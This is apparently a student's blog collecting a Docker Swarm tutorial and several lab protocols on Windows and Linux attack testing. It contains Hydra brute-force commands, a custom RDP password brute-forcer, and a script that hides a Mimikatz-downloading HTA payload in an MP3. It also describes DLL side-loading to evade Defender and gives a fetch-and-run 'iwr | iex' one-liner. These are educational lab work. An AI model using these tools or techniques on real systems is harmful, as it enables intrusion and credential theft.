A good analogy is that container orchestration is like an orchestra where all the containers and services are the musicians playing instruments. The conductor (orchestrator) manages and syncs the musicians so a song is played instead of a mess.

The conductor — the master/control node — can replicate containers to scale the app, remove unhealthy ones, replace failed containers, and keep the app stable, running, and available.

Creating a Docker Swarm

Creating a Docker Swarm is simple: just run

docker swarm init

on the device you want to be the master node.

After this, you can check the swarm status with:

docker info

which will show that the node is now part of a swarm.

Adding Nodes

To add nodes to the cluster, copy the command shown after docker swarm init and run it on another Docker host to join it to the cluster. On the master node, running

docker info

will show multiple nodes, and

docker node ls

will list all the nodes in the swarm.

Nodes can leave the cluster with:

docker swarm leave

Now the cluster is ready for deploying services.

Creating a Stack

Since we are using Swarm, we can no longer use plain docker compose commands; instead, we use docker stack commands. docker stack uses the same Compose file format with some additional deployment options, but build options are not supported — images must be pre-built.

services:
  backend:
    image: 127.0.0.1:5000/swarm-backend:latest
    build: 
      context:
        ./backend
    deploy:
      replicas: 3

  frontend:
    image: 127.0.0.1:5000/swarm-frontend:latest
    build:
      context:
        ./nginx
    ports:
      - "8080:80"
    depends_on:
      - backend
    deploy:
      replicas: 2

Now we can specify in the Compose file how many replicas we want for each container. The new addition is the image part, which will be explained in the next section because docker stack cannot build your containers directly — it requires already built images.

We can deploy this stack with:

docker stack deploy -c docker-compose.yml [STACK_NAME]

Like Compose, this will create a network, but this time it deploys to our swarm cluster with the specified replicas.

With

docker service ls

we can see running services, whether they are replicated, and how many replicas are currently running. Docker dynamically spins containers up or down based on demand, which can be configured.

Creating a Local Registry

To clarify the image part mentioned above where a local registry is used: this is needed so the built images can be used by the swarm stack.

To create a local registry, run:

docker service create --name registry --publish=5000:5000 registry:2

Now we can use the local registry with localhost:5000 in the Compose file image tags.

You build images with:

docker compose build

and push them to the registry with:

docker compose push

so they can be used in the stack.

These are just two extra commands, but for production deployments you can set up CI/CD pipelines to do this automatically whenever you push to your git repository and update the running version without running Docker commands manually.

You can still run everything locally with:

docker compose up -d

to test the full setup.

Scaling the Service

To manually scale a service, you can use the command:

docker service scale backend=10

which would spin up 10 replicas of the backend service distributed across your nodes.

You can check which containers are running on which nodes with:

docker stack ps [STACK_NAME]

to see their state and placement.

You can further configure how nodes are scaled based on resources and other factors, but I will stop here. The main goal is to show the power and value of Docker and leave the rest of the learning to you. This gives you a working setup you can expand on to gain more experience.

Note: I changed the app to assign a random color based on the hostname so that when it is scaled up, you can visually see that different containers are handling your connections.

The code for all setups is available on my GitHub here.

Thanks for reading! :3

TODO: Add citations to this at some point, include screenshots for examples, and add more info over time so this becomes a real blog post and not just notes for myself.

Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found here along with the bibliography

Testing Windows server security

Laboratory protocol
Exercise 9: Testing Windows server security

Table of Contents

• Task definition
• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Setting Up the Exercise Environment
  • Brute-Forcing SMB with Hydra
    • Analyzing Network Traffic with Wireshark
  • Brute-Forcing RDP
    • Explaining My Own RDP Brute-Forcing Script
    • Analyzing Network Traffic with Wireshark (RDP)
  • Hardening Windows Against Brute-Force Attacks
    • Using EvLWatcher for Rate Limiting
    • Disabling NTLM Authentication
    • Configuring Login Timeout Settings
  • Mimikatz: An Introduction
    • What Can Mimikatz Do?
    • How to Use Mimikatz
  • Running Mimikatz
    • Using Polyglot Files to Conceal Mimikatz
    • DLL Side-Loading to Attempt to Bypass Windows Defender
    • How to Detect and Block Mimikatz
• References

Task definition

This task was conducted using a combination of manual configuration and automated attack tools to evaluate the security posture of a Windows Server environment. The environment setup involved preparing both the target system and an attacker system running Kali Linux, which was equipped with tools such as Hydra for brute-force attacks and Wireshark for network traffic analysis.

Initially, the target Windows Server was configured by creating a new local user account named testuser with the password passwort. A network share was created using New-SmbShare, and permissions were assigned to testuser to grant access. Concurrently, Wireshark was deployed on either the server or an intermediary device to capture and analyze traffic related to the attacks.

To simulate credential-based attacks, Hydra was used to conduct brute-force attempts on the SMB protocol:

hydra -l testuser -P /path/to/passwordlist.txt smb://<IP-ADDRESS>

The time to successful login was measured and compared between weak (e.g., passwort) and strong (e.g., P@ssw0rd123!) password configurations. Network traffic was captured and filtered using the expression tcp.port == 445, enabling detailed inspection of failed and successful authentication attempts.

A second brute-force attack was executed against the Remote Desktop Protocol (RDP). RDP was enabled through system settings, and testuser was added to the Remote Desktop Users group. Hydra was again utilized for this. Wireshark was used to capture the RDP traffic (tcp.port == 3389) for comparison against the SMB-based attack. Observations highlighted protocol-level differences in how failed and successful login attempts were processed and exposed.

Following the attacks, two mitigation techniques were researched and implemented to harden the system. Group Policy Objects (GPOs) were configured to enforce account lockout policies and limit RDP access. These changes were validated by re-running attacks and observing reduced effectiveness due to increased security controls.

Additionally, privilege escalation techniques were examined using Mimikatz. Requirements for successful execution were researched, including necessary privileges and system policies. As a bonus, Mimikatz was tested on the server to extract credentials and security tokens. The analysis revealed sensitive credential information, underscoring the importance of disabling credential caching and applying strict administrative controls.

Summary

In this exercise, we used Hydra for brute-force attacks on various services. However, due to issues with Hydra’s support for RDP brute-forcing, we created a custom Python script that utilized the FreeRDP command to perform the RDP brute-force attacks. This solution allowed us to bypass the limitations of Hydra and simulate RDP credential stuffing attacks effectively.

To enhance the security of the target system, we adjusted Group Policy settings, specifically disabling NTLM authentication and modifying account lockout policies. These changes were intended to limit the success of brute-force attacks by reducing the number of login attempts allowed.

We also deployed EvWatcher to monitor and limit attack attempts, ensuring that further malicious actions would be detected and blocked. For privilege escalation, we used MSHTA in combination with an MP3 file to bypass security and deploy Mimikatz onto the target system. To ensure Mimikatz could function, we disabled Windows Defender.

Mimikatz is a powerful tool used to extract credentials, manipulate security tokens, and perform privilege escalation on Windows systems. It can dump plaintext passwords, password hashes, and Kerberos tickets from memory, providing an attacker with sensitive information. This exercise highlighted the importance of securing systems against such attacks by using strong policies, disabling insecure protocols like NTLM, and employing endpoint protection to prevent tools like Mimikatz from successfully exploiting the system.

Complete network topology of the exercise

Exercise Execution

Setting Up the Exercise Environment

To meet the initial requirements of this exercise, the script from last time was simplified to create only five test users, along with corresponding security groups. Most randomly generated elements were removed, leaving only three shares on the C: drive. This can be verified in the Computer Management utility under the Users, Shares, and Groups categories, as shown in the figures below.

Brute-Forcing SMB with Hydra

Since part of the setup involved assigning weak passwords to the users, they can be easily brute-forced with Hydra using the following command:

hydra -l user1 -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.102 smb2 -I

This command consists of the -l flag to specify the user to target, and the -P flag to specify the list of passwords to use—in this case, the RockYou wordlist. Note that -P (uppercase) indicates a list of passwords, whereas -p (lowercase) is used for a single password. The -t flag sets the number of threads to use for the attack. 192.168.56.102 sets the target IP address, and smb2 specifies the protocol to use. The -I flag tells Hydra to ignore restoring progress from an earlier session.

After running the command, we can see that password123_ is not a secure password, as it gets cracked in just one second.

Analyzing Network Traffic with Wireshark

By filtering for tcp.port == 445, we can examine the SMB-related network traffic being sent and received, and analyze the authentication process taking place alongside it.

• The first SMB packet is sent using version 1 instead of version 2, despite version 2 being specified in the command. This is explained in the SMB specification Microsoft Corporation¹.

• The Negotiate Protocol Request informs the server of the SMB dialects (i.e., versions) the client supports, which is essentially an array of supported versions. Microsoft Community Hub²

• The server responds with a Negotiate Protocol Response, replying with the preferred SMB dialect and an array of capabilities. In this case, the server responds with the SMB2 Wildcard, indicating that it supports at least SMB 2.1 or a newer version. This prompts the client to send another SMB2 Negotiate Request specifying the exact revision of the SMB 2 protocol to be used.

• Now the client responds with its own list of supported capabilities.

• The server follows up by specifying the preferred dialect from the client’s dialect array—which in this case is SMB 3.1.1—and additionally updates the listed capabilities based on the selected version. This version will now be used for the connection.

• After a dialect and capabilities have been selected, a Session Setup Request is sent, initiating the authentication process using the GSS-API (Generic Security Service Application Program Interface). This is used alongside NTLMSSP, which stands for NT LAN Manager Security Support Provider—a binary messaging protocol developed by Microsoft to facilitate NTLM challenge-response authentication and to negotiate integrity and confidentiality options. Wikipedia³

• The server responds with STATUS_MORE_PROCESSING_REQUIRED, indicating that guest access is disabled and authentication is required to connect to this SMB share. Microsoft Docs⁴

• The client sends another Session Setup Request with NTLMSSP_AUTH, including the domain name, user name, and session key.

• If the authentication fails, the server responds with STATUS_LOGON_FAILURE.

• If the authentication succeeds, the NT Status field in the header of the Session Setup Response is set to STATUS_SUCCESS. This is followed by a Tree Connect Request to access a share on the server. Since I did not specify a share, Hydra defaults to the administrative share $IPC, which is used to communicate with programs via named pipes over the network. Windows OS Hub⁵

• The Tree Connect Request is followed by a Tree Connect Response, which includes an Access Mask field for the requested share, showing the permissions our user has on this share.

Brute-Forcing RDP

RDP is a proprietary protocol developed by Microsoft that allows a user to connect to another computer with a graphical interface. Wikipedia⁶ Microsoft Docs⁷

However, Hydra did not detect my installation of libfreerdp3, so I created a custom Python RDP brute-forcing script based on the xfreerdp3 command.

Using my script, I can now obtain the credentials and generate a command to connect to the server.

Explaining My Own RDP Brute-Forcing Script

The script uses threading and the xfreerdp3 command with +auth-only to check credentials. Here is an abstracted version:

import subprocess, threading, argparse, concurrent.futures

password_found = threading.Event()

def run_command(host, user, port, password):
    cmd = ["xfreerdp3", f"/v:{host}:{port}", f"/u:{user}", f"/p:{password}", "+auth-only"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.returncode, result.stdout.strip(), result.stderr.strip()
    except:
        return -1, "", "Error"

def worker(args, passwords):
    for pw in passwords:
        if password_found.is_set(): return
        code, _, _ = run_command(args.host, args.user, args.port, pw)
        if code == 131:
            print(f"SUCCESS: {pw}")
            password_found.set()
            return True
    return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", required=True)
    # ... other arguments ...
    args = parser.parse_args()

    pwlist = []
    with open(args.Password_list) as f:
        for line in f:
            pwlist.append(line.rstrip('\n'))

    if args.threads == 1:
        worker(args, pwlist)
    else:
        # ...split pwlist and run with ThreadPoolExecutor...
        pass

    if not password_found.is_set():
        print("Password not found")

Analyzing Network Traffic with Wireshark (RDP)

When inspecting the traffic of an RDP connection, only two RDP requests are sent: a Negotiate Request and a Negotiate Response. The Negotiate Request is used by the client to advertise the supported security protocols.

The server replies with the protocol to use based on the client’s advertisement, which in this case is CredSSP (Credential Security Support Provider). CredSSP provides an encrypted TLS channel, over which the client authenticates using the Simple and Protected Negotiate (SPNEGO) protocol with either Microsoft Kerberos or Microsoft NTLM.

After selecting the protocol, a TLS handshake occurs between the client and the server. During this handshake, both parties agree on the TLS version, choose a cipher suite, authenticate the server’s identity via its public key and the digital signature of an SSL certificate authority, and generate session keys in order to use symmetric encryption after the handshake is complete.

Whether or not the RDP authentication was successful cannot be directly observed, as all communication is wrapped inside encrypted TLS packets, making it appear identical in Wireshark. The only indicator is the amount of application data transmitted, from which it can be inferred whether the client briefly connected for authentication only or simply transmitted credentials over the TLS connection before the authentication failed.

The main difference isn’t just the authentication mechanisms (CSPP/TLS vs. GSS-API/NTLMSSP). A crucial distinction is how encryption is handled. RDP can use TLS to encrypt all traffic, including application data, whereas SMB uses GSS-API to negotiate authentication (often using Kerberos or NTLM) and can encrypt SMB packets directly, especially in newer versions (SMB 3.0+). When RDP uses TLS, it creates a TLS tunnel. SMB encryption is integrated within the SMB protocol itself. Microsoft Corporation¹ Wikipedia⁶

Hardening Windows Against Brute-Force Attacks

Using EvLWatcher for Rate Limiting

To set up rate limiting, I used a fail2ban-style tool for Windows called EvLWatcher. After running the setup executable, no additional configuration is necessary, and it can essentially be left to run in the background. GitHub⁸

Disabling NTLM Authentication

NTLM is a legacy authentication protocol that dates back to Windows NT. Although Microsoft introduced a more secure alternative called Kerberos in 1989, NTLM is still used in some domain networks and remains enabled for backward compatibility. One of NTLM’s major flaws is that it stores password hashes in plaintext in the memory of its servers, which can be extracted using pass-the-hash tools such as Mimikatz. Windows OS Hub⁹ Wikipedia³

Configuring Login Timeout Settings

To slow down RDP brute-forcing, account lockout can be configured in the Local Security Policy editor under Account Lockout Policy. The Windows Club¹⁰

Mimikatz: An Introduction

Mimikatz is a post-exploitation tool designed to extract credential information. Medium¹¹

What Can Mimikatz Do?

The main features of Mimikatz include extracting credentials from memory or disk-based password stores. This includes plaintext passwords, PINs, Kerberos tickets, and NTLM password hashes. Mimikatz achieves this through a variety of techniques, such as Pass-the-Hash, which allows attackers to use captured NTLM hashes to create new authenticated sessions on the network—without needing to know the user’s actual password. CrowdStrike¹² MITRE ATT&CK¹³

• Pass-the-Hash: Allows attackers to use captured NTLM hashes to create new authenticated sessions.
• Pass-the-ticket: Bypasses normal system access controls by stealing a valid Kerberos ticket.

There are two notable types of forged Kerberos tickets: Silver and Golden tickets. Medium¹¹ MITRE ATT&CK¹³

How to Use Mimikatz

There are multiple ways to invoke Mimikatz on a target system. The simplest method is to download a compiled release from the official GitHub repository. However, there are also pre-built PowerShell scripts and commands that streamline its execution, such as Invoke-Mimikatz from the PowerSploit framework. PowerSploit¹⁴

Running Mimikatz

To run Mimikatz on the target system, I wanted to try a unique or more creative method rather than simply downloading and executing the Mimikatz binary directly. Inspired by a video from security professional and YouTuber John Hammond, where he analyzes a malware sample hidden inside an MP3 file that uses mshta.exe to execute a payload, I explored a similar idea. John Hammond¹⁵

To do this, I used an MP3 file in which I embedded the plain text of an HTA script that downloads Mimikatz. The MP3 file appears normal and can be played, but if executed using mshta, it executes the script.

The payload runs a PowerShell command in a hidden window that downloads Mimikatz and saves it as msedge_installer.zip.

To insert my payload into an MP3 file, I wrote the following Python script:

import random

def insert_file(target_path, payload_path, output_path):
    try:
        with open(target_path, 'rb') as target_file:
            target_content = target_file.read()
        with open(payload_path, 'rb') as payload_content:
            payload = payload_content.read()
        target_size = len(target_content)
        if target_size == 0:
            print("Error: Target file is empty.")
            return
        middle_index = target_size // 2
        random_offset_range = target_size // 4
        random_offset = random.randint(-random_offset_range, random_offset_range)
        insertion_point = max(0, min(target_size, middle_index + random_offset))
        new_content = target_content[:insertion_point] + payload + target_content[insertion_point:]
        with open(output_path, 'wb') as output_file:
            output_file.write(new_content)
        print(f"File '{payload_path}' inserted at position {insertion_point} in '{target_path}' and saved as '{output_path}'.")
    except FileNotFoundError:
        print("Error: One or both of the input files were not found.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    target_mp3 = "./The_link_orginal.mp3"
    file_to_insert = "payload.hta"
    output_mp3 = "./The_link.mp3"
    insert_file(target_mp3, file_to_insert, output_mp3)

Figures below show the properties of the edited file, its ability to be played back, and the execution of the file via mshta on the target user through RDP.

The ZIP file can now be extracted, and Mimikatz can be executed. However, since the user has virtually no permissions—and Mimikatz requires elevated privileges—it had no practical use in this scenario.

DLL Side-Loading to Attempt to Bypass Windows Defender

DLL sideloading is a technique in which a built-in Windows binary is copied to a different path, and a custom-compiled DLL is placed in the same directory, hoping that the binary will load the malicious DLL instead of the intended one. To find such vulnerable binaries, there is a website called hijacklibs.net, which allows filtering DLLs by vendor and provides detection rules for each specific DLL. HijackLibs¹⁶

To create your own DLL, you need the Microsoft x64 Native Developer Tools. You can then write the code for your DLL and compile it using:

cl /LD DismCore.c user32.lib 

I tried bundling Mimikatz into the DLL and sideloading it via a built-in Windows executable in an attempt to bypass Windows Defender. However, it was detected anyway.

How to Detect and Block Mimikatz

There are a multitude of ways to prevent Mimikatz, most of which come down to restricting access. For example, configuring the “Debug Program” policy to be accessible only to local administrators, disabling outdated protocols such as WDigest, and enforcing strong password policies.

References

For a full bibliography, see the original BibTeX file.

Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found here along with the bibliography.

Secure data storage on Windows

Laboratory protocol
Exercise 8: Secure data storage on Windows

Table of Contents

• Task definition
  • Task Overview
• Summary
• Exercise Execution
  • Introduction
  • Explaining the first script
    • Changing the execution policy
    • Installing BitLocker
    • Changing the Hostname
    • Downloading the second script
    • Enabling Remote Desktop
    • Creating a Scheduled Task
  • The second script
    • Creating Users and Adding Them to Groups
    • Resizing the Disk and Creating a New Partition
    • Creating Directories
    • Populating the Directories
    • Creating Users and Groups
    • Verifying the Creation of users and groups
    • Managing NTFS Permissions Using icacls
    • Sharing the Directories via SMB
    • Encrypting the Volume using BitLocker
• References

Task definition

Task Overview

The goal of this exercise is to set up a secure and structured data storage system on a Windows Server, ensuring proper access control and encryption. The tasks include installing the operating system, configuring users and groups, setting up a folder structure, and securing access with permissions.

First, Windows Server 2019 or newer must be installed in a virtualized environment, with the hostname and user accounts configured according to a naming convention. A structured folder system should be created based on an assigned fictional company, categorizing data logically and including sample files.

User management involves defining necessary accounts, organizing them into organizational groups, and enforcing a consistent naming scheme. Permissions must be applied using NTFS security settings, restricting access appropriately. Network shares need to be configured to allow remote access while maintaining security through controlled sharing settings.

The storage system must be optimized by creating a new partition, migrating data, and applying BitLocker encryption. All configurations should be verified, and documentation is required throughout the process. PowerShell automation is encouraged where applicable.ChatGPT¹

Summary

This task was fully automated using two PowerShell scripts. The first script set up the environment by configuring the necessary system settings and creating a Scheduled Task using New-ScheduledTask and Register-ScheduledTask to execute the second script at predefined intervals. The second script performed all required operations, including creating and managing users, directories, files, and their permissions.

To manage users, the script utilized commands such as New-LocalUser to create users, Add-LocalGroupMember to assign them to groups, and Set-LocalUser to modify user settings. The script dynamically generated random user accounts and assigned them to groups based on predefined logic. Organizational groups and security groups were structured to align with the fictional company scenario, BuildSmart BIM, a digital building company specializing in architecture, material lists, and time plans.

For managing directories and files, commands like New-Item were used to create directory structures, and icacls was used to configure NTFS permissions for securing access.

The partitioning of the drive was accomplished using Resize-Partition to shrink the primary partition and New-Partition to create a new B: partition, followed by Format-Volume to prepare it for use. The existing directory structure was then migrated using Move-Item.

To enable file sharing, New-SmbShare was employed to create network shares. Additionally, the script encrypted the partition using Enable-BitLocker.

Through this approach, the entire process was streamlined and executed automatically, significantly reducing manual effort while maintaining a structured and secure environment.

Exercise Execution

Introduction

This entire exercise was automated with a script that can be invoked with a single command. It is designed to be used after setting up a fresh install of a new version of Windows Server. This script will complete the entire exercise automatically.

Note: For the script to work, the language of the Windows Server installation must be set to English, since user and group names are localized with no available aliases.Nico Boehr²

To run it, simply log into the Administrator account, press Windows + R to open the Run dialog, and paste the following command:

powershell.exe iwr https://tinyurl.com/mr234bdr | iex

This runs powershell.exe and uses the abbreviation iwr, which stands for Invoke-WebRequest. This command makes a web request to the given link, which in this case is https://tinyurl.com/mr234bdr. This URL redirects to the raw file from my GitHub repository, where the first of two PowerShell scripts is downloaded.Invoke-WebRequest³

Important: Whenever you run a command like this, always open the URL in your web browser first to verify its contents. Check whether the script has any red flags, such as obfuscation or suspicious behavior that it is not intended to perform.

The downloaded script is then piped into iex, which is short for Invoke-Expression. This executes the output from stdin, which, in this case, is the contents of the script.Abbreviation Table⁴Invoke-Expression⁵

Explaining the first script

Changing the execution policy

The first line of the setup.ps1 script is:

Set-ExecutionPolicy RemoteSigned -Scope LocalMachine -Force

This sets the ExecutionPolicy parameter to the RemoteSigned policy. The Scope parameter specifies the default scope value in this command as LocalMachine. The -Force parameter is used to suppress all confirmation prompts. So that the second script that is downloaded in this script is allowed to run on this device.Set-ExecutionPolicy⁶

This can be verified by running the following command:

Get-ExecutionPolicy -List

Installing BitLocker

Install-WindowsFeature BitLocker installs the Windows feature BitLocker, which is used for drive encryption and will be needed later in the exercise. It is included in the setup because its installation requires a reboot.Install-WindowsFeature⁷BitLocker⁸

Changing the Hostname

Rename-Computer -NewName "fus-win-12" -Force changes the hostname of the computer to fus-win-12. The -Force parameter ensures the command runs non-interactively. This requires a reboot as well and is therefore included in the setup script.rename-computer⁹

The change of the hostname can be verified by using the hostname command:

Downloading the second script

To download the second script, Invoke-WebRequest is used again with a url and dest variable to store the desired URL and destination file.

$url = "https://raw.githubusercontent.com/Stefanistkuhl/obsidianschule/refs/heads/main/3.Klasse/itsi/aufgaben/windoof/script.ps1"
$dest = "C:\Users\Administrator\script.ps1"
Invoke-WebRequest -Uri $url -OutFile $dest

Enabling Remote Desktop

For easier management and testing of users, we choose to enable Remote Desktop.

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Enable-Remote-Desktop¹⁰

Creating a Scheduled Task

Since a restart is needed for the first part, some form of persistence is required for the second script to execute. For this, Windows Scheduled Tasks are used to execute the second script after a reboot with a set trigger.New-ScheduledTask¹¹

$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-file C:\Users\Administrator\script.ps1"
$Trigger = New-ScheduledTaskTrigger -AtLogon -User "Administrator"
$Settings = New-ScheduledTaskSettingsSet
Register-ScheduledTask -TaskName "after-setup" -Action $Action -Trigger $Trigger -Settings $Settings
Restart-Computer

The second script

Now that the setup script has finished running, after logging in as the administrator again, the second script will be launched.

Creating Users and Adding Them to Groups

In this step, two new users will be created: fus-admin and fus-user. These serve as the administrator’s low-privileged account and privileged account, respectively, in this scenario.

$supersurepassword = ConvertTo-SecureString "rafi123_" -AsPlainText
New-LocalUser -Name 'fus-admin' -Password $supersurepassword
New-LocalUser -Name 'fus-user' -Password $supersurepassword
Add-LocalGroupMember -Group "Administrators" -Member fus-admin
Add-LocalGroupMember -Group "Remote Desktop Users" -Member fus-user

ConvertTo-SecureString¹²New-LocalUser¹³Add-LocalGroupMember¹⁴

Resizing the Disk and Creating a New Partition

Resize-Partition -DiskNumber 0 -PartitionNumber 2 -Size (40GB)
New-Partition -DiskNumber 0 -UseMaximumSize -DriveLetter B
Format-Volume -DriveLetter B -FileSystem NTFS -AllocationUnitSize 4096

Resize-Partition¹⁵New-Partition¹⁶Volumes¹⁷Cluster-Size¹⁸Format-Volume¹⁹Cluster-Size-2²⁰

Creating Directories

$baseDir = "B:\CompanyData"
$folders = @(
    "Administration",
    "Finance",
    "HumanResources",
    "IT",
    "Legal",
    "Marketing",
    "Sales"
)

foreach ($folder in $folders) {
    New-Item -Path $baseDir -Name $folder -ItemType Directory
}

Populating the Directories

$sampleFiles = @(
    "Budget.xlsx",
    "EmployeeList.csv",
    "ProjectPlan.pptx",
    "Report.docx"
)

foreach ($file in $sampleFiles) {
    foreach ($folder in $folders) {
        New-Item -Path "$baseDir\$folder" -Name $file -ItemType File
    }
}

Creating Users and Groups

$groups = @("Admins", "Users", "Guests")
$users = @("alice", "bob", "charlie")

foreach ($group in $groups) {
    New-LocalGroup -Name $group
}

foreach ($user in $users) {
    $password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText
    New-LocalUser -Name $user -Password $password
    Add-LocalGroupMember -Group "Users" -Member $user
}

Verifying the Creation of users and groups

Managing NTFS Permissions Using icacls

icacls "B:\CompanyData" /grant:r "Administrators:(OI)(CI)F" /T
icacls "B:\CompanyData" /grant:r "Users:(OI)(CI)RX" /T
icacls "B:\CompanyData" /grant:r "Guests:(OI)(CI)R" /T

Sharing the Directories via SMB

New-SmbShare -Name "CompanyData" -Path "B:\CompanyData" -FullAccess "Administrators","Users" -ReadAccess "Guests"

Now, users can only access the files they need via the network share. Since in Section 3.2.10, permissions to the root directory were removed, users do not have access to the entire file structure. In this scenario, this is a central server where each employee either has a local workstation or a thin client and connects to the server remotely.

Encrypting the Volume using BitLocker

Enable-BitLocker -MountPoint "B:" -EncryptionMethod Aes128 -PasswordProtector -Password $supersurepassword

Enable-BitLocker²¹

References

For a full bibliography, see the original BibTeX file.

Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found here along with the bibliography.

Ethical hacking of a CTF-VM

Laboratory protocol
Exercise 7: Ethical hacking of a CTF-VM

Table of Contents

• Task definition
• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Setting up the virtual machines
  • Reconnaissance: Scanning the Network
  • Reconnaissance: Exploring the websites
  • Weaponization: Evaluating the needed tools
  • Exploitation: Using Hydra to break HTTP basic authentication
  • Exploitation: Using Hydra to brute force SSH login
  • Exploring the system
    • Listing all the files
    • Investigating the listening service
    • Investigating the process flag
    • Further investigating the webserver
    • Investigating secret_flag.txt
    • Exploring the new user
    • Finding the history flag
  • It should be over now, right?
  • Privilege escalation on Linux
    • Using a smart enumeration tool
    • Trying a kernel level exploit
    • Trying to get privileges using Metasploit and Meterpreter
  • Getting root access through editing the GRUB boot options
  • Obtaining the final flag
• References

Task definition

This task is based on a Capture the Flag (CTF) challenge, where multiple flags are hidden across an environment and can be found either through exploits or by navigating the system. Two virtual machines are provided: an Ubuntu server, which hosts the flags, and a Kali Linux machine for offensive actions. Both machines operate in a Host-only network, meaning they can communicate with each other but not with the external internet or other devices.

The goal is to use the tools and techniques available in Kali Linux to explore the Ubuntu server, identify vulnerabilities, and capture the flags, all within an isolated network environment.

Summary

In this exercise, we had to break into a Linux server VM and find six hidden flags. To gain access, we first scanned the network with nmap and discovered four web servers. One of these required brute-forcing to retrieve the first flag, which then allowed us to gain a web shell to the system. Using the web shell, we brute-forced the password for the current user to SSH into the machine. Once logged in, we explored the system to find flags.

We discovered a flag in the comments of the server’s python file, which we found by inspecting the running processes. The file was intended to run as a process, and this led us to locate it. Additionally, we found flags in the history of another user who had permission to view secret_flag.txt in the /opt directory, as well as one flag in the /tmp directory. There are actually seven flags in total, with one located in the home directory of /root.

We attempted to gain root access using the Linux Smart Enumeration tool and by analyzing the results for potential privilege escalation vectors, such as SUID binaries or binaries we could run with sudo to escalate to a shell. We also tried using a getshell from meterpreter to gain access, but none of these methods worked. As a result, we edited the boot configurations in the VM itself to get a shell and then changed the root password. This allowed us to execute the CTF setup script and view the final flag in the root’s home directory.ChatGPT¹

Complete network topology of the exercise

Exercise Execution

Setting up the virtual machines

To get started with this CTF, make sure that VirtualBox version 7.1.4 is used. The VM to attack must be imported by double-clicking the provided .ova file. After the import is complete, the network settings must be changed to use Host-only Adapter mode. Since using the default Host-only network did not work, we had to create a new Host-only network. To do this, either press <C-h> or click on File > Tools > Network Manager, as shown in Figure 2.

In this menu, click on Create, then check the Enable Server box to enable the DHCP server so the target VM will receive an IP address. Then, click on Adapter to view the IP range of the network, which in our case is 192.168.15.0/24, which can be seen in Figure 3.

Next, open the virtual machine settings by selecting the VM in the list and pressing <C-s>. Under the Network section, change the network adapter to use the Host-only Adapter and select the VirtualBox Host-only Ethernet Adapter #2, which was just created. Perform this step for both the target VM and the Kali VM, as detailed in Figure 4.

Reconnaissance: Scanning the Network

We use the Cyber Kill Chain to structure our steps for completing the CTF, with any attack beginning with reconnaissance, which in this case means scanning the network with nmap.Lockheed Martin² Since we don’t know the IP address of the target server yet, we need to scan the network to find it. For this, the command nmap 192.168.15.0/24 is used to scan the entire network for open ports, as illustrated in Figure 5.

We can determine that the target has the IP address 192.168.15.3, since .1 is the network address, .2 is the DHCP server, and .4 is the IP address of the Kali VM. This can be verified by running ip a or by scanning the open ports, since ssh is not exposed.

Now we can run another nmap scan to get further information about the running services and their version by using the -sV flag and the -T4 flag for aggressive timing, and the -p- value to scan all ports.Nmap Version Detection³Nmap Timing⁴ The results of the scan can be seen in Figure 6.

From this scan, we can see that ssh and four http servers running Python 3.12.3 are active on the system.

Reconnaissance: Exploring the websites

If we open the websites in our web browser of choice, we can see that the one on port 1080 says that to get further, we need to scan deeper, which we already did. The website on port 5155 shows text from foreign languages, which is randomized and always prints out different text on refresh. The site on port 10458 prints out a message in base64, and lastly, the one on port 10448 has a basic authentication login prompt for a mini web shell. Figure 7 shows the content of each webpage.

The base64 message can be decoded by piping the string, using echo, into the base64 command, which gives us the hint to use port 55487, the site with authentication. This is shown in Figure 8.

To get all the random variants from the site with the foreign languages, I wrote a quick batch script to recursively relay the website and save the output in a file called output, as shown in Figure 9.

#!/bin/bash
while true;do
    body=$(curl -s 192.168.15:5155)
    echo "$body" >> output
    echo "$body"
done

After running it for a while, we prompted ChatGPT with the list of outputs to translate, which revealed the following hint, as shown in Figure 10.

Weaponization: Evaluating the needed tools

Now that we know the username and that it uses HTTP Basic Authentication, we can use Hydra to brute-force the password. For this, I have chosen the 10-million-password list as our wordlist.pw-list⁵

Exploitation: Using Hydra to break HTTP basic authentication

To brute force the password, the following hydra command will be used: hydra -l user -P pw.txt -s 55487 -f 192.168.15.3 http-get /hydra-http-basic-auth⁶

-l user #specifying the username to attempt logging in with
-P pw.txt #tells Hydra to use the contents of pw.txt as passwords to try
-s 55487 #specifying the port to connect to
-f #telling Hydra to stop after a valid login
192.168.15.3 #setting the target IP address
http-get / #specifying the service and method to use

After entering the found credentials on the webpage, we get the first flag.

Besides the flag, there is a webshell on the site, so we can run commands on the server. However, interacting through the website is a horrible experience, and that’s why we used the command whoami to find out which user we are logged in as so we can SSH into the server instead.

Exploitation: Using Hydra to brute force SSH login

To brute force the SSH login, this Hydra command is used: hydra -l GrumpyCat -P pw.txt 192.168.15.3 ssh -t 4.hydra-ssh⁷ The only changes made to the command are the username we got through the webshell, replacing the method with SSH, and using the -t flag with a value of 4 to set the max tasks to 4, since some SSH configurations tend to block higher counts. Figure 13 shows the command output.

Exploring the system

Listing all the files

Now that we have a shell in the server, it’s time to dig around and explore. We started by running ls -R / * 2>/dev/null | grep flag, in which the -R flag is used to recursively list all the files in the root of the file system and the * is used to list everything inside that as well. Lastly, the 2>/dev/null redirects stderr to the file /dev/null to effectively delete them from the output, which is piped into grep to filter it to search for files that have flag in their name.stderr⁸ To tidy up the output, it can be piped into grep again with the -v flag to exclude results that contain flags. Figure 14 shows the results.

As we can see, we found a file called secret_flag.txt and flag_process.sh, for which we can search with the following command: find -name "filename" / 2>/dev/null. Figure 15 displays the found file locations.

Investigating the listening service

With ss -tulnp, we can examine all listening process services on the system for TCP and UDP, along with the processes they use, if we have permission to see that.

Investigating the process flag

Let’s return to the file flag_process.sh to get this flag. Simply cat the file as shown in Figure 17.

Further investigating the webserver

